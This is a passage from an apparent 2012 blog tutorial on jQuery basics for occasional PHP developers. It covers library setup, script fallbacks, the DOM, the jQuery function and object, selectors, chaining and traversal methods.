<p>I want you to have the uncompressed version because debugging can be slightly more difficult when using the minified version. I also prefer you have your own library versus using a CDN (content delivery network) hosted version.</p>
<p>To install your library you will open your IDE (I currently use Netbeans for PHP) and copy the library to a directory within your project. This will vary by IDE and your personal preference. I like to place all of my general-use resources at the top of any project structure in a folder called &#8216;resources/&#8217;. To do this, I create a folder specifically for jQuery resources under the resources folder called &#8216;jQueryPak/&#8217;. For more details see my <a title="PHP – Development Structure" href="http://sitepop.wordpress.com/2012/01/03/php-development-structure/" target="_blank">PHP-Development Structure </a>session. All my .js files would go into this folder for a given project (&#8216;resources/jQueryPak&#8217;).</p>
<p>There are three broad types of .js files you will manage in your jQueryPak folder. The jQuery Library files, the jQuery Plug-in files and your own custom jQuery files. You just downloaded the &#8216;main&#8217; jQuery library, so copy that into the project&#8217;s folder structure. <em><strong>For this session that is the only jQuery library you will need.</strong></em></p>
<p>Before you can use jQuery on a given page of your website you will have to establish a pointer to the jQuery source files you wish to use. There are two places that you commonly setup these links. One, is in the PHP Controller file (index.php) to cover all web pages in that topic area or two, directly in the web page in the header section. The link in the Controller file would look something like this:</p>
<address><span style="color:#008080;">                    echo &#8220;&#60;Script</span></address>
<address><span style="color:#008080;">                         language=JavaScript</span></address>
<address><span style="color:#008080;">                         src=&#8217;../resources/jQueryPak/jquery.js&#8217;</span></address>
<address><span style="color:#008080;">                         type=&#8217;text/javascript&#8217;&#62;</span></address>
<address><span style="color:#008080;">                    &#60;/Script&#62;&#8221;;</span></address>
<address> </address>
<p>Note the use of PHP echo. This resource is located at the top of the Controller file so that it is available to all PHP scripts in the Controller. Any web page opened by this Controller will have access to this &#8216;main&#8217; jQuery library and can therefore run jQuery.</p>
<p>Opening a jQuery link directly in a web page is very similar:</p>
<address><span style="color:#008080;">                    <span style="color:#333399;">&#60;Script</span></span></address>
<address><span style="color:#333399;">                         language=JavaScript</span></address>
<address><span style="color:#333399;">                         src=&#8217;../resources/jQueryPak/pageSpecificJQ.js&#8217;</span></address>
<address><span style="color:#333399;">                         type=&#8217;text/javascript&#8217;&#62;</span></address>
<address><span style="color:#333399;">                    &#60;/Script&#62;</span></address>
<address> </address>
<p>Using a web developer tool (available via your browser) I checked the generated source and saw the following:</p>
<address><span style="color:#333399;">     &#60;head&#62;</span></address>
<address><span style="color:#333399;">          &#60;script</span></address>
<address><span style="color:#333399;">               language=&#8221;JavaScript&#8221;</span></address>
<address><span style="color:#333399;">               src=&#8221;../resources/jQueryPak/jquery.js&#8221;</span></address>
<address><span style="color:#333399;">               type=&#8221;text/javascript&#8221;&#62;</span></address>
<address><span style="color:#333399;">          &#60;/script&#62;</span></address>
<address><span style="color:#333399;">          &#60;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=UTF-8&#8243;&#62;</span></address>
<address><span style="color:#333399;">          &#60;title&#62;Just Another Web Page&#60;/title&#62;</span></address>
<address><span style="color:#333399;">          &#60;link rel=&#8221;stylesheet&#8221; href=&#8221;../resources/css/myPage.css&#8221; media=&#8221;screen&#8221;&#62;</span></address>
<address><span style="color:#333399;">          <strong>&#60;script</strong></span></address>
<address><strong><span style="color:#333399;">               language=&#8221;JavaScript&#8221;</span></strong></address>
<address><strong><span style="color:#333399;">               src=&#8221;../resources/jQueryPak/pageSpecificJQ.js&#8221;</span></strong></address>
<address><strong><span style="color:#333399;">               type=&#8221;text/javascript&#8221;&#62;</span></strong></address>
<address><strong><span style="color:#333399;">          &#60;/script&#62;</span></strong></address>
<address><span style="color:#333399;">     &#60;/head&#62;</span></address>
<address> </address>
<p>NOTE I have seen it advised that <span style="color:#000000;"><strong>any &#8216;js&#8217; file with jQuery&#8217;s ready method</strong> </span>should be placed after CSS links and other &#8216;includes&#8217; in the Head section of the document (as shown above). The concern is that all element properties be fully defined before any jQuery code in the ready method is executed.</p>
<p>As you can see, both of the script tags will appear on the loaded (generated) web page!</p>
<p>That&#8217;s the basic housekeeping now for my jQuery Essentials for the <strong>Occasional</strong> user! Note that some of the approaches I suggest here will not seem appropriate for the professional who specializes in JavaScript.</p>
<p>Most of what we discuss in this session is going to be in reference to a simple web page as shown in this document layout.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/dom5.jpg"><img class="aligncenter size-full wp-image-991" title="DOM5" alt="" src="http://sitepop.files.wordpress.com/2012/08/dom5.jpg?w=500&#038;h=333" width="500" height="333" /></a></p>
<p style="text-align:center;"><em>Document Element Layout Diagram</em></p>
<p><strong>1) You should understand that the user can turn-off JavaScript.</strong></p>
<p>This is very important because it can have a major impact on your user community! For most of us, disabling JavaScript isn&#8217;t even a consideration. Unfortunately there are still some out there, a decreasing number true, that don&#8217;t want your jQuery POP.  Can you afford to upset any of your client base?</p>
<p>The big difference between client-side and server-side programming is that in client-side a web page is not reloaded when a request is processed, as it is with server-side. Taken further the changes made by client-side requests occur to the same page that is already loaded through a variety of DOM manipulations. The end result is generally a simpler user interface with enhanced speed and visual effects. So if your web site depends on client-side code, what happens if JavaScript is disabled, nothing good. Literally! Events aren&#8217;t fired, action is not initiated, users are not happy. Unless you have taken steps that will gracefully fallback to a server-side solution.</p>
<p>Not all client-side manipulations require a fallback strategy. Animations for example are nice to have but are not essential to the functionality of most sites. If the User has disabled script the animations will not be executed and little is lost but a visual affect.</p>
<p>Other client-side processes are critical to the function of the site and should have a server-side fallback strategy. Two that come to mind are form validation and submission. Valuable information can be corrupted or lost without such as strategy.</p>
<p>Browsing some of the popular sites on the Internet I see a variety of strategies. Amazon uses a &#8216;select&#8217; element (dropdown list) to sort the items in various ways (popular, high price, low price, user ratings) when you are shopping. When you disable script in the browser a button will appear to the right of the list that says &#8216;go&#8217;. In this case when you change the selection you must click the &#8216;go&#8217; button to actually reorganize the items with a reload of the page. With script enabled any change to the list will appear without a page reload. In the case of Google, it appears they substitute links for dropdown lists when script is disabled. Having said this, both Amazon and Google appear to be functional with script disabled. More clicks, slower process, and not as visually pleasing but functional.</p>
<p>Yahoo&#8217;s front page is totally broken with JavaScript disabled. All you get is a small Olympic menu across the top and left side. Going to mail requires you to go back to a prior version and both Yahoo Calendar and NotePad are inaccessible. Some features, like that handy delete all checkbox, were just not available or disabled. When script is disabled, YouTube is totally broken. None of the menus work and it appears that script is required for the flash player to function.</p>
<p>It can be a lot of work to fail safe your site. As you can see from my casual review some major players do not appear to be overly concerned. Still can you afford to alienate any of your users? I mean you&#8217;re not trying to replace your entire site here, you just want to add some POP to a few critical sections. Right?</p>
<p>With some careful design some of the difficulty can be mitigated. Menus can be made to appear to work the same in both a script and non-script environment. In other areas, like validation, you need to create code on both the client and server sides. Here is where good design can save a lot of time. I always start server-side and once it is all working add the client-side.</p>
<p>You have come to JavaScript (jQuery) to enhance the user experience, lets not take a chance in alienating anyone.</p>
<p><strong>2) You should understand the basics of the Document Object Model.</strong></p>
<p>The Document Object Model (DOM) defines a logical structure of documents (think of a web page for us) that then allows us to access and manipulate it. With the DOM, we can build documents, navigate their structure, and add, modify, or delete elements and content. In effect the DOM is an application programming interface (API) for documents. A simple DOM structure will look like our diagram:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/dom5_selop.jpg"><img class="aligncenter size-full wp-image-992" title="DOM5_selop" alt="" src="http://sitepop.files.wordpress.com/2012/08/dom5_selop.jpg?w=500&#038;h=333" width="500" height="333" /></a></p>
<p>Each icon on the diagram representing a DOM element. Using jQuery we can select one or more of those elements for our own pleasure.</p>
<p><strong>3) You should know what a DOM element is.</strong></p>
<p>Think of what an HTML tag represents on a web page and that is a DOM element. Examples of DOM elements are:</p>
<dl>
<dd>
<table width="100%" border="0" cellspacing="0" cellpadding="5" bgcolor="#0066cc">
<col width="60" />
<col width="68" />
<col width="64" />
<col width="64" />
<tbody>
<tr>
<td valign="top" width="23%">
<p align="left"> <span style="color:#ffffff;"><span style="font-size:small;">Headings</span></span></p>
</td>
<td valign="top" width="27%">
<p align="left"> <span style="color:#ffffff;"><span style="font-size:small;">Embedded Images</span></span></p>
</td>
<td valign="top" width="25%">
<p align="left"> <span style="color:#ffffff;"><span style="font-size:small;">Labels</span></span></p>
</td>
<td width="25%">
<p align="left"> <span style="color:#ffffff;"><span style="font-size:small;">Form Controls</span></span></p>
</td>
</tr>
<tr valign="top">
<td width="23%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Divs</span></span></p>
</td>
<td width="27%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Links</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Anchors</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Spans</span></span></p>
</td>
</tr>
<tr valign="top">
<td width="23%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Tables</span></span></p>
</td>
<td width="27%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Textareas</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Table Rows</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Table Data Cells</span></span></p>
</td>
</tr>
<tr valign="top">
<td width="23%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Ordered Lists</span></span></p>
</td>
<td width="27%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Interactive Forms</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Paragraphs</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Menu Lists</span></span></p>
</td>
</tr>
<tr valign="top">
<td width="23%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Options</span></span></p>
</td>
<td width="27%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">List Items</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Unordered Lists</span></span></p>
</td>
<td width="25%">
<p align="left"><span style="color:#ffffff;"><span style="font-size:small;">Option Selectors</span></span></p>
</td>
</tr>
</tbody>
</table>
</dd>
</dl>
<p><span style="color:#ffffff;">A</span></p>
<p>You know, those things in JavaScript you would have accessed by using their name or id, i.e., &#8216;document.getElementById(&#8220;myEle&#8221;);&#8217;.</p>
<p><strong>4) You should know four basic JavaScript features.</strong></p>
<p>I&#8217;m not here to give you JavaScript training but the jQuery library is not a wholesale replacement of JavaScript you will have to apply the following JavaScript features in many of your jQuery initiatives:</p>
<dl>
<dd>
<table width="100%" border="1" cellspacing="0" cellpadding="5">
<col width="85" />
<col width="85" />
<col width="85" />
<tbody>
<tr valign="top">
<td width="33%">
<p align="center">Array Manipulation</p>
</td>
<td width="33%">
<p align="center">String Manipulation</p>
</td>
<td width="33%">
<p align="center">Condition Statements</p>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">push() </span>to add element(s) to the end of an array.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">length</span> to get the number of characters in a string, i.e., the strings length.</p>
</td>
<td rowspan="2" width="33%">
<address>     if (condition){</address>
<address>          &#8230;</address>
<address>     } else if (condition) {</address>
<address>          &#8230;</address>
<address>     } else {</address>
<address>          &#8230;</address>
<address>     }</address>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">pop() </span>to remove and return the last element from an array.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">indexOf() </span>to find the first occurrence of a character or phrase.</p>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">unshift() </span>to add element(s) to the start of an array.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">lastIndexOf() </span>to find the last occurrence of a character or phrase.</p>
</td>
<td rowspan="3" width="33%">
<address>     switch (expression) {</address>
<address>          case label1:</address>
<address>               &#8230;</address>
<address>               break;</address>
<address>          case label2:</address>
<address>               &#8230;</address>
<address>               break;</address>
<address>          default:</address>
<address>               &#8230;</address>
<address>     }</address>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">shift() </span>to remove and return the first element from an array.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">search() </span>to check the existence of a character or phrase within a string.</p>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">slice() </span>to extract elements from a section of an array.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">substring()</span> or <span style="color:#3366ff;">substr() </span>to create a substring from a string.</p>
</td>
</tr>
<tr valign="top">
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">toString() </span>or <span style="color:#3366ff;">join() </span>to convert an array to a string.</p>
</td>
<td width="33%">
<p align="left">Use <span style="color:#3366ff;">toUpperCase() </span>and <span style="color:#3366ff;">toLowerCase() </span>to change the case of a string.</p>
</td>
<td width="33%">
<address>     test ?</address>
<address>           expression1 :</address>
<address>           expression2</address>
</td>
</tr>
</tbody>
</table>
</dd>
</dl>
<p><span style="color:#ffffff;">A</span></p>
<p>The forth item I would like you to know is the plain old JavaScript object:</p>
<p style="text-align:center;"><span style="color:#3366ff;">var obj = {property1 : value1, property2 : value2, &#8230; }</span></p>
<p><strong>5) You must understand the jQuery Function.</strong></p>
<p>The jQuery Function is how you access the jQuery Library that we installed at the beginning of this session. Here is the syntax that you should master:</p>
<p style="text-align:center;"><span style="color:#993366;">jQuery(&#8216;selector&#8217;, [context]); <span style="color:#333333;">or</span> $(&#8216;selector&#8217;, [context]);</span></p>
<p>as you can see the dollar sign ($) is a global alias for &#8216;jQuery&#8217;. Get used to it, you will see the dollar sign throughout your reading on jQuery. Here and everywhere else.</p>
<p>So that it is clear. If you have a document (web page) that is linked to the core jQuery library, then <strong>anywhere in your code where you use jQuery() or $() you are calling that library</strong>. And the library will respond accordingly. Note that naming a variable with a preceding dollar sign is NOT a call to the library! $var is not the same as $(var). The first is a variable the second is a call to the jQuery library.</p>
<p>The arguments in the jQuery Function are used by the library to select DOM elements from the context that you pass it, or if you don&#8217;t provide a context, then to the active document. The selector is a string (enclosed in quotes) that uses standard CSS selectors and many jQuery specific filters. If you are not familiar with CSS selectors take a moment and review my <a title="CSS Essentials" href="http://sitepop.wordpress.com/2012/05/25/css-essentials/" target="_blank">CSS Essentials</a> session. Most of the time you will not provide a context so you will be selecting from the entire document. If you do include a context it can be a DOM element, the document or a jQuery Object.</p>
<p>When the jQuery Function finishes traversing the DOM and retrieving elements that match the selector, it returns those elements in the form of a jQuery Object. It is the jQuery Object with all of it&#8217;s properties and methods that we will use to put the POP into our web site.</p>
<p><strong>6) You must understand the jQuery Object.</strong></p>
<p>First it should be obvious that the jQuery Object is, well, an object. That means it has properties and methods that can be called by it. Second the jQuery Object is a container. It can contain any number of DOM elements, including zero.</p>
<p>For example using our diagram above, if we were to execute this jQuery Function:</p>
<p style="text-align:center;"><span style="color:#993366;">var $myDivs = $(&#8216;div&#8217;);</span></p>
<p>When executed the function assigns the jQuery Object to the variable $myDivs. Looking inside $myDivs we would see something like:</p>
<address>                         index 0 = reference to the first &#8216;div&#8217; element</address>
<address>                         index 1 = reference to the second &#8216;div&#8217; element</address>
<address>                         index 2 = reference to the third &#8216;div&#8217; element</address>
<address>                         length = 3</address>
<address>                         context = document</address>
<address>                         selector = &#8216;div&#8217;</address>
<address> </address>
<p>In Firebug this would appear as:<a href="http://sitepop.files.wordpress.com/2012/08/divs.jpg"><img class="aligncenter size-full wp-image-990" title="Divs" alt="" src="http://sitepop.files.wordpress.com/2012/08/divs.jpg?w=385&#038;h=19" width="385" height="19" /></a></p>
<p>What is truly neat about this process is that through this selection process you could return a dozen elements and modify them ALL, in some way, with a single line of code.</p>
<p>Notice that the variable we assigned the jQuery Object to, begins with a dollar ($) sign. <span style="color:#000000;">It is a good practice when assigning a jQuery Object to a variable, to begin the variable name with a dollar sign.</span> In this way you can keep track of what variables are jQuery Objects and can therefore use the methods and properties of that object. Though it is not required I strongly recommend you use it. You will often find it both convenient and efficient to assign jQuery Objects to variables.</p>
<p>We have already mentioned that a jQuery Object can include zero DOM elements. How is this possible? One way to create a jQuery Object that is empty is to execute a jQuery Function that tries to select an element that does not exist in the available context (current document). Using our diagram again, if we were to execute a jQuery Function looking for a table element like this – <span style="color:#000000;">var $table = $(&#8216;table&#8217;);.</span> The jQuery Object that would be assigned to the variable $table would look like this &#8211; &#8216;<span style="color:#ff6600;">&#60;&#62;jQuery ()</span>&#8216;. If you check its length ($table.length) it returns zero.</p>
<p>Another way to create a empty jQuery Object is simply to assign the variable to an empty jQuery Function like this –</p>
<p style="text-align:center;"><span style="color:#993366;">var $empty = $();.</span></p>
<p>Same result as trying to select a DOM element that does not exist.</p>
<p>Then by logical extension <strong>we should be able to make any DOM element into a jQuery Object</strong>. For instance, above we could extract a DOM element from a jQuery Object by using the following method – <span style="color:#000000;">var ele = $myDivs.get(1);.</span> We can then make the DOM element a jQuery Object by – <span style="color:#000000;">var $ele = $(ele),</span> i.e., &#8216;<span style="color:#ff6600;">&#60;&#62;jQuery (div#divTwo)</span>&#8216;.</p>
<p>Indeed you will find that many of the jQuery Methods you will use will return a special jQuery reserved key word &#8216;this&#8217; which will generally represent the DOM element appropriate for the given context. You will often find it convenient to make this into a jQuery Object by what is often called wrapping it in a jQuery Function, as follows, <span style="color:#000000;">var $jqObj = $(this);</span></p>
<p>For example the event handlers in jQuery will return &#8216;this&#8217; as the DOM element that executed the event. So if we have a click event defined for one of our buttons in our diagram above. The logic inside the event handler (after event is triggered) might use the &#8216;this&#8217; keyword like this:</p>
<address><span style="color:#993366;">                              $(#butOne).click(function() {</span></address>
<address><span style="color:#993366;">                                   var $this = $(this);</span></address>
<address><span style="color:#993366;">                                   $this.fadeOut().fadeIn();</span></address>
<address><span style="color:#993366;">                              });</span></address>
<address> </address>
<p>In this example we are wrapping the keyword &#8216;this&#8217;, which represents the DOM element <span style="color:#ff9900;">&#8216;button#butOne&#60;&#62;</span>&#8216;, in a jQuery Function which returns a jQuery Object and assigns it to the variable $this. By doing that we are able to use the methods that are accessible to the jQuery Object. As you can see we have created a little animation to occur when the button is clicked (button fades out then in).</p>
<p><strong>7) You should know your basic CSS selectors</strong>.</p>
<p>I would recommend that when it comes to selectors you focus first on the CSS selectors and secondly on the sometimes very handy support filters provided by jQuery. If you are not already familiar with CSS selectors review my <a title="CSS Essentials" href="http://sitepop.wordpress.com/2012/05/25/css-essentials/" target="_blank">CSS Essentials </a>session before proceeding. You should understand that selectors are very important to jQuery and are NOT all created equal.</p>
<p>Some selectors are far more efficient than others. For instance using an &#8216;id&#8217; selector like &#8216;#selOne&#8217; is one of the most efficient ways to select a DOM element. Why? Because a DOM element&#8217;s &#8216;id&#8217; attribute should be unique in a document! In this case the DOM is searched until the element id is located and then stops. Compare this to a selector that is designed to return all the &#8216;select&#8217; elements whose parent is a &#8216;div&#8217; element with a class assignment of &#8216;hide&#8217;. That would look something like this:</p>
<p style="text-align:center;"><span style="color:#993366;">var $sel = $(&#8216;div.hide &#62; select&#8217;);</span></p>
<p>To find the matches for this selector the DOM must first be searched for all &#8216;div&#8217; elements with a class &#8216;hide&#8217; and then that subset collection must be searched for all matches that has one or more child that is a &#8216;select&#8217; element. You can see how much more searching must be done in the second. Client-side programming to be effective should be as unobtrusive as possible. Your choice of selector can be a big part of this. Some of the attribute selectors &#8216;[attribute *= val]&#8216; are especially slow, avoid them if you can.</p>
<p><strong>8) You should understand chaining.</strong></p>
<p>Chaining allows you to perform many operations on a changing  jQuery Object, which can be very efficient and sometimes confusing. Basically if a method call (some operation you are performing) returns a jQuery Object then you can call another operation (method) by merely connecting another method call with the dot &#8216;.&#8217; operator. Think of it as a form of nesting. Once again using our little diagram above, here is a lengthy example:</p>
<address><span style="color:#993366;">          $(&#8216;#selOne&#8217;).change(function() {</span></address>
<address><span style="color:#993366;">               var $this = $(this);</span></address>
<address><span style="color:#993366;">               var html = &#8216;&#60;label id=&#8221;labFive&#8221; for=&#8221;inFour&#8221;&#62; inFour </span><span style="color:#993366;">&#60;/label&#62;</span></address>
<address><span style="color:#993366;">                              &#60;input id=&#8221;inFour&#8221;&#62;&#8217;</span></address>
<address><span style="color:#993366;">               if($this.val() == &#8216;optThree&#8217;){</span></address>
<address><span style="color:#993366;">                    if($(&#8216;#inFour&#8217;).length == 0) {</span></address>
<address><span style="color:#993366;">                         <strong>$this.parent().append(html).children(&#8216;#inFour&#8217;)</strong></span></address>
<address><strong><span style="color:#993366;">                         .fadeIn(&#8216;slow&#8217;).focus().end().addClass(&#8216;bBorder&#8217;);</span></strong></address>
<address><span style="color:#993366;">                    }</span></address>
<address><span style="color:#993366;">               }</span></address>
<address><span style="color:#993366;">         });</span></address>
<address> </address>
<p>In this example the User clicks on the dropdown (select element) list box and changes the selection. This triggers the change event that has been bound to the select element with the &#8216;id&#8217; attribute equal to &#8216;selOne&#8217;. The only select element in our diagram. The first thing we do is take the key word &#8216;this&#8217; which in this context represents the select element that the change event is bound to and make it a jQuery Object so that we can chain with it. Next we define the HTML that will be added to the document if certain conditions are met. We only wish to add the HTML if the User selects the option with the value &#8216;optThree&#8217;. The next condition tests if the new input element has already been added. If so, we do not want to add it again. Finally if it has not been added, we execute the chain (bold).</p>
<p>The steps in the chain are:</p>
<ol>
<li>get the parent element of the select element, which returns a jQuery Object (<span style="color:#ff6600;">&#60;&#62;jQuery (div#divTwo&#60;&#62;)),</span></li>
<li>append the html variable to the current jQuery Object <span style="color:#ff6600;">(&#60;&#62;jQuery (div#divTwo&#60;&#62;)),</span></li>
<li>the children method gets the element we just inserted using it&#8217;s &#8216;id&#8217; attribute <span style="color:#ff6600;">(&#60;&#62;jQuery (input#inFour&#60;&#62;)),</span></li>
<li>we fade the element in slowly <span style="color:#ff6600;">(&#60;&#62;jQuery (input#inFour&#60;&#62;)),</span></li>
<li>we set focus on the new element <span style="color:#ff6600;">(&#60;&#62;jQuery (input#inFour&#60;&#62;)),</span></li>
<li>we call the end() method to return us to the prior jQuery Object (<span style="color:#ff6600;">&#60;&#62;jQuery (div#divTwo&#60;&#62;)),</span></li>
<li>we add a new class to the div element represented in the jQuery Object <span style="color:#ff6600;">(&#60;&#62;jQuery (div#divTwo&#60;&#62;)).</span></li>
</ol>
<p>Note for this to work as I desire, I needed to have some supporting CSS. For the fadeIn() method to work the new input element had to have an initial display property of &#8216;none&#8217;. And of course I had to have a definition for class &#8216;bBorder&#8217; for it to have any effect when added.</p>
<p>Normally when I chain this many steps I prefer this format:</p>
<address><span style="color:#993366;">                         $this.parent()</span></address>
<address><span style="color:#993366;">                                    .append(html)</span></address>
<address><span style="color:#993366;">                                    .children(&#8216;#inFour&#8217;)</span></address>
<address><span style="color:#993366;">                                    .fadeIn(&#8216;slow&#8217;)</span></address>
<address><span style="color:#993366;">                                    .focus()</span></address>
<address><span style="color:#993366;">                                    .end()</span></address>
<address><span style="color:#993366;">                                    .addClass(&#8216;bBorder&#8217;);</span></address>
<address> </address>
<p>A little easier to read.</p>
<p>As you can see the jQuery Object does not have to be the same for the chain to be continuable. What is important is that a jQuery Object is returned in every step of the chain except the last one. Methods that change the jQuery Object are often referred to as &#8216;destructive&#8217;. In our example above the &#8216;children()&#8217; method is destructive. As are all traversal methods in jQuery. Make certain when you wish to go back to a prior jQuery Object in the chain that you use the end() method as shown above.</p>
<p>I saw somewhere on the Internet that this standard jQuery Function syntax can be thought of as:</p>
<address><strong>$(&#8216;select DOMelements&#8217;).<span style="color:#ff6600;">do</span>Something; &#8212;&#8211;&#62; returns a jQuery Object.</strong></address>
<address><strong>$(&#8216;select DOMelements&#8217;).<span style="color:#ff6600;">get</span>Something; &#8212;&#8211;&#62; returns a non-jQuery Object</strong>.</address>
<address> </address>
<p>Basically this saying that when you are calling a jQuery Object method that <span style="color:#ff6600;">does</span> something it normally <span style="text-decoration:underline;">returns a jQuery Object</span> and when you are calling a jQuery Object method that <span style="color:#ff6600;">gets</span> something it normally <span style="text-decoration:underline;">returns something else</span> (string, bool, num, array, plain object, etc&#8230;).</p>
<p><strong>9) You should know – ancestor, descendant, child, parent, and sibling</strong></p>
<p>As we have said before the jQuery Object is a collection of DOM elements. Sometimes you will manipulate those elements directly but on other occasions you will use them as reference objects to select other or additional DOM elements. When used as reference it is generally for the purpose of traversing the DOM. You will find, especially in the traversing section of the jQuery library, the need to understand how these relationships are defined (ancestor, descendant, child, parent, and sibling). Here is our standard diagram marked up to define these relationships.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/dom5_types.jpg"><img class="aligncenter size-full wp-image-993" title="DOM5_Types" alt="" src="http://sitepop.files.wordpress.com/2012/08/dom5_types.jpg?w=500&#038;h=333" width="500" height="333" /></a></p>
<p>The selected DOM element (div) is bordered in bright red. It&#8217;s siblings, both divs, are bordered in dark red. Using a jQuery Function to assign the base jQuery Object to the variable $divTwo, followed by a jQuery Method we can get both the selected div and its siblings:</p>
<address><span style="color:#993366;">                                   var $divTwo = $(&#8216;#divTwo&#8217;);</span></address>
<address><span style="color:#993366;">                                   var $jqSibling = $divTwo.siblings();</span></address>
<address> </address>
<p>In Firebug that would look like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/fb4divsiblings.jpg"><img class="aligncenter size-full wp-image-994" title="FB4divSiblings" alt="" src="http://sitepop.files.wordpress.com/2012/08/fb4divsiblings.jpg?w=500&#038;h=90" width="500" height="90" /></a></p>
<p>It&#8217;s children are bordered in bright green. It&#8217;s descendants are bordered in dark green. Note the children are also considered descendants. Using a couple of jQuery Methods (<span style="color:#000000;">note how we continue to use the variable $divTwo</span>) we can get both children and descendants for the selected div element as follows:</p>
<address><span style="color:#993366;">                                   var $jqChildren = $divTwo.children();</span></address>
<address><span style="color:#993366;">                                   var $jqDescendants = $divTwo.find(&#8216;*&#8217;);</span></address>
<address> </address>
<p>In Firebug that would look like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/fb5divchilddesc.jpg"><img class="aligncenter size-full wp-image-995" title="FB5divChildDesc" alt="" src="http://sitepop.files.wordpress.com/2012/08/fb5divchilddesc.jpg?w=500&#038;h=144" width="500" height="144" /></a></p>
<p>Note how the jQuery Object .find() method is used to retrieve all descendants, which of course includes the children.</p>
<p>It&#8217;s parent is bordered in bright blue. It&#8217;s ancestors are bordered in dark blue. Note the parent is also considered an ancestor. These too can be retrieve using a couple of jQuery Methods, as follows:</p>
<address><span style="color:#993366;">                                   var $jqParent = $divTwo.parent();</span></address>
<address><span style="color:#993366;">                                   var $jqAncestors = $divTwo.parents();</span></address>
<address> </address>
<p>In Firebug that would look like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/fb6divparentances.jpg"><img class="aligncenter size-full wp-image-996" title="FB6divParentAnces" alt="" src="http://sitepop.files.wordpress.com/2012/08/fb6divparentances.jpg?w=500&#038;h=109" width="500" height="109" /></a></p>
<p>Note how we use the jQuery Object .parents() method to retrieve ancestors!</p>
<p>The following are popular traversal methods and their relationship focus:</p>
<table width="100%" border="1" cellspacing="0" cellpadding="5">
<col width="40" />
<col width="44" />
<col width="44" />
<col width="35" />
<col width="60" />
<col width="32" />
<tbody>
<tr valign="top">
<td width="16%">
<p align="center"><strong>children()</strong></p>
</td>
<td width="17%">
<p align="center"><strong>closest()</strong></p>
</td>
<td width="17%">
<p align="center"><strong>find() </strong></p>
</td>
<td width="14%">
<p align="center"><strong>next()</strong></p>
</td>
<td width="23%">
<p align="center"><strong>offsetParent()<span style="color:#ff0000;">*</span></strong></p>
</td>
<td width="13%">
<p align="center"><strong>prev()</strong></p>
</td>
</tr>
<tr valign="top">
<td width="16%">
<p align="center"><span style="color:#ff950e;">children</span></p>
</td>
<td width="17%">
<p align="center"><span style="color:#ff950e;">ancestor</span></p>
</td>
<td width="17%">
<p align="center"><span style="color:#ff950e;">descendant</span></p>
</td>
<td width="14%">
<p align="center"><span style="color:#ff950e;">sibling </span></p>
</td>
<td width="23%">
<p align="center"><span style="color:#ff950e;">ancestor</span></p>
</td>
<td width="13%">
<p align="center"><span style="color:#ff950e;">sibling</span></p>
</td>
</tr>
</tbody>
</table>
<p><span style="color:#ff0000;"> (*) NOTE this method will NOT return a positioned DOM element that is not displayed!</span></p>
<p><strong>10) As a general rule, don&#8217;t rely on jQuery css methods.</strong></p>
<p>What I mean by this is that you should use CSS to create classes that you can then assign using  jQuery&#8217;s addClass(), removeClass() and toggleClass() methods. In this way all of your style information is found in one CSS file! Not a CSS file plus various places in your jQuery &#8216;.js&#8217; files. Which would be the case if you used jQuery&#8217;s <span style="color:#000000;">.css(property, val)</span> method.</p>
<p>If you want to hide and display a div. You could use jQuery Object&#8217;s css() method. Using our diagram above, we could hide the second div by simply doing the following:</p>
<p style="text-align:center;"><span style="color:#993366;">$(&#8216;#divTwo&#8217;).css(&#8216;display&#8217;,'none&#8217;);</span></p>
<p>I would prefer you did something like this instead:</p>
<p style="text-align:center;"><span style="color:#993366;">$(&#8216;#divTwo&#8217;).addClass(&#8216;hide&#8217;);</span></p>
<p>Where you have a CSS file that defines the class &#8216;hide&#8217;. In its simplest form that would look something like this:</p>
<p style="text-align:center;"><span style="color:#000000;">.hide{display:none;}</span></p>
<p>Both will accomplish the same result but I think keeping <span style="color:#000000;">&#8216;styling&#8217;</span> in the CSS file is more maintainable.</p>
<p>There are of course exceptions.</p>
<p><strong>11) You must understand the jQuery .ready() method.</strong></p>
<p>jQuery conveniently provides a &#8216;ready&#8217; method which is automatically executed when the document (web page) is in a state that allows the execution of jQuery methods. This state requires that the DOM has been loaded, and the page has been completely rendered (including images).</p>
